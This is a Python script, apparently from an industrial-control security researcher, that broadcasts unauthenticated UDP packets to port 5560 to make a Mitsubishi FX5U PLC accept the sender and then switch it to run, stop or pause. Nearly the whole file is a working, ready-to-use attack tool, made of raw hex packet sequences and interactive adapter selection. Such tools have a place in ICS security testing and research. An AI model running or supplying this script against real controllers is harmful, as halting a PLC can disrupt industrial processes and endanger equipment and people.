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MitsubishiSetState.py
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MitsubishiSetState.py
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#! /usr/bin/env python3
'''
Copyright 2019 Photubias(c)
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
This should work on Linux & Windows using Python2
File name MitsubishiSetState.py
written by tijl[dot]deneut[at]howest[dot]be
--- Mitsubishi Set State ---
It broadcasts the packets used to stop or start a Mitsubishi PLC.
Verified working on a FX5U-32M
'''
import socket,binascii, subprocess, os
### RUN a PLC
## UDP packets for run sent to 255.255.255.255:5560 (ff:ff:ff:ff:ff:ff) ## ((eth.addr == 10:4b:46:28:4f:08 || eth.addr == 00-0C-29-CB-BF-EF)&&data) && !(data.len == 57) && !data.len==1003 && !data.len==167 && ip.src==192.168.3.64
def send_and_recv(s, ip, port, string):
data = bytes.fromhex(string.replace(' ',''))
s.sendto(data, (ip, port))
data, addr = s.recvfrom(1024)
return data
def send_only(s, ip, port, string):
data = bytes.fromhex(string.replace(' ',''))
s.sendto(data, (ip, port))
def getAddresses():
interfaces=[]
if os.name == 'nt': # This should work on Windows
proc=subprocess.Popen("ipconfig | FINDSTR \"IPv4 Address Subnet\" | FINDSTR /V \"IPv6\"",shell=True,stdout=subprocess.PIPE)
allines=proc.stdout.readlines()
for i in range(0,len(allines),2):
ip = allines[i].split(b':')[1].rstrip().lstrip()
mask = allines[i+1].split(b':')[1].rstrip().lstrip()
interfaces.append((ip.decode(), mask.decode(), None))
else: # And this on any Linux
proc=subprocess.Popen("ip address | grep inet | grep -v \"127.0.0.1\" | grep -v \"inet6\"", shell=True, stdout=subprocess.PIPE)
for interface in proc.stdout.readlines():
int_parts = interface.lstrip().split(b' ')
ip = int_parts[1].split(b'/')[0]
cidr = int(int_parts[1].split(b'/')[1])
bcidr = (cidr*'1'+(32-cidr)*'0')
mask = str(int(bcidr[:8],2)) + '.' + str(int(bcidr[8:16],2)) + '.' + str(int(bcidr[16:24],2)) + '.' + str(int(bcidr[24:],2))
intname = int_parts[len(int_parts)-1].rstrip()
interfaces.append((ip.decode(),mask,intname))
return interfaces
def initConnection(srcIP, bSrcDev): ## The PLC needs to accept our IP address, this will do that (should actually only be done once every boot cycle or src IP change)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.settimeout(4)
if os.name == 'nt': s.bind((srcIP,0))
else: s.setsockopt(socket.SOL_SOCKET, 25, bSrcDev)
data='5a000001'
send_only(s,'255.255.255.255',5560,data)
data='5a000001'
response = send_and_recv(s,'255.255.255.255',5560,data)
data='5a000001'
send_only(s,'255.255.255.255',5560,data)
data='5a000001'
response = send_and_recv(s,'255.255.255.255',5560,data)
data='5a000022'
send_only(s,'255.255.255.255',5560,data)
data='5a000022'
response = send_and_recv(s,'255.255.255.255',5560,data)
data='5a000001'
send_only(s,'255.255.255.255',5560,data)
data='5a000001'
response = send_and_recv(s,'255.255.255.255',5560,data)
data='5a000011'
send_only(s,'255.255.255.255',5560,data)
data='5a000011'
response = send_and_recv(s,'255.255.255.255',5560,data)
data='5a0000ff'
send_only(s,'255.255.255.255',5560,data)
data='5a0000ff'
response = send_and_recv(s,'255.255.255.255',5560,data)
data='57010000001111070000ffff030000fe03000020001c0a161400000000000000000000000000000000000000000121010000000001'
send_only(s,'255.255.255.255',5560,data)
data='57010000001111070000ffff030000fe03000020001c0a161400000000000000000000000000000000000000000121010000000001'
response = send_and_recv(s,'255.255.255.255',5560,data)
data='57010000001111070000ffff030000fe03000023001c0a1614000000000000000000000000000000000000000001a0020000000854067dc9'
send_only(s,'255.255.255.255',5560,data)
data='57010000001111070000ffff030000fe03000023001c0a1614000000000000000000000000000000000000000001a0020000000854067dc9'
response = send_and_recv(s,'255.255.255.255',5560,data)
s.close()
def sendSTOP(srcIP, bSrcDev):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.settimeout(4)
if os.name == 'nt': s.bind((srcIP,0))
else: s.setsockopt(socket.SOL_SOCKET, 25, bSrcDev)
print('Now sending the command ...')
##### This seems to be the actual packet sending it in RUN mode
data='57010000001111070000ffff030000fe03000020001c0a161400000000000000000000000000000000000000001002090000000100'
response = send_and_recv(s,'255.255.255.255',5560,data)
if response.hex()[-8:] == '09000000': print('Should\'ve worked')
## Valid response seems to be d70100000011117f000000a80300ffff03000020009c0a181400000000000000000000000000000000000000000000100109000000
s.close()
def sendPAUSE(srcIP, bSrcDev):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.settimeout(4)
if os.name == 'nt': s.bind((srcIP,0))
else: s.setsockopt(socket.SOL_SOCKET, 25, bSrcDev)
print('Now sending the command ...')
##### This seems to be the actual packet sending it in RUN mode
data='57010000001111070000ffff030000fe03000020001c0a161400000000000000000000000000000000000000001003090000000100'
response = send_and_recv(s,'255.255.255.255',5560,data)
if response.hex()[-8:] == '09000000': print('Should\'ve worked')
## Valid response seems to be d70100000011117f000000a80300ffff03000020009c0a181400000000000000000000000000000000000000000000100109000000
s.close()
def sendRUN(srcIP, bSrcDev):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.settimeout(4)
if os.name == 'nt': s.bind((srcIP,0))
else: s.setsockopt(socket.SOL_SOCKET, 25, bSrcDev)
print('Now sending the command ...')
##### This seems to be the actual packet sending it in STOP mode
data='57010000001111070000ffff030000fe03000022001c0a1614000000000000000000000000000000000000000010010900000001000000'
response = send_and_recv(s,'255.255.255.255',5560,data)
if response.hex()[-8:] == '09000000': print('Should\'ve worked')
## Valid response seems to be d70100000011117f000000a80300ffff03000020009c0a181400000000000000000000000000000000000000000000100109000000
s.close()
## Select Adapter, IP does not have to be in the same subnet
i=1
arrInterfaces=getAddresses()
for interface in arrInterfaces:
print('['+str(i)+'] '+interface[0])
i+=1
print('[Q] Quit now')
if i>2: answer = input('==> Please select the physical adapter to use [1]: ').lower()
else: answer=str(i-1)
if answer=='q': exit(0)
if answer=='' or not answer.isdigit() or int(answer)>=i: answer=1
sLocalIP = arrInterfaces[int(answer)-1][0]
bSrcDev = arrInterfaces[int(answer)-1][2]
ans=input('Run, Stop or Pause the PLC? [R/s/p]: ').lower()
if ans=='': ans='r'
initConnection(sLocalIP, bSrcDev)
if ans == 's': sendSTOP(sLocalIP, bSrcDev)
elif ans == 'p': sendPAUSE(sLocalIP, bSrcDev)
else: sendRUN(sLocalIP, bSrcDev)
input('All done, press Enter')